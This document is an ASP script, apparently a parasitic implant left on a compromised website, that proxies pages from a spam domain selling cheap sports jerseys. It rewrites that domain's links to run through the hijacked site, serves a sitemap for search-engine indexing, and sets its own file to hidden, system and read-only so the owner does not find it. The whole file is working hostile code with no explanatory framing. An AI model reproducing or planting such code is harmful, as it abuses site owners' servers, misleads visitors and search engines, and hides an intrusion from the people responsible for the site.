<% server.ScriptTimeout=9999999 Function getHTTPPage(Path) dim t t = GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function If Request("for") = "sitemap.xml" Then Response.ContentType = "text/xml" End If Dim wstr,str,url,start,over,dtime,myparm url="http://stoxdal.cheapbuffalobillsjerseys.party/" If Request.QueryString("for")<>"" then myparm=Request.QueryString("for") url="http://stoxdal.cheapbuffalobillsjerseys.party/"&replace(myparm," ","-") end if wstr=getHTTPPage(url) wstr=replace(wstr,"http://stoxdal.cheapbuffalobillsjerseys.party/","http://www.stoxdal.se/annat.asp?for=") body=wstr response.write ""&body&"" response.End '############## Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")) if f.attributes <> 39 then f.attributes = 39 end if %>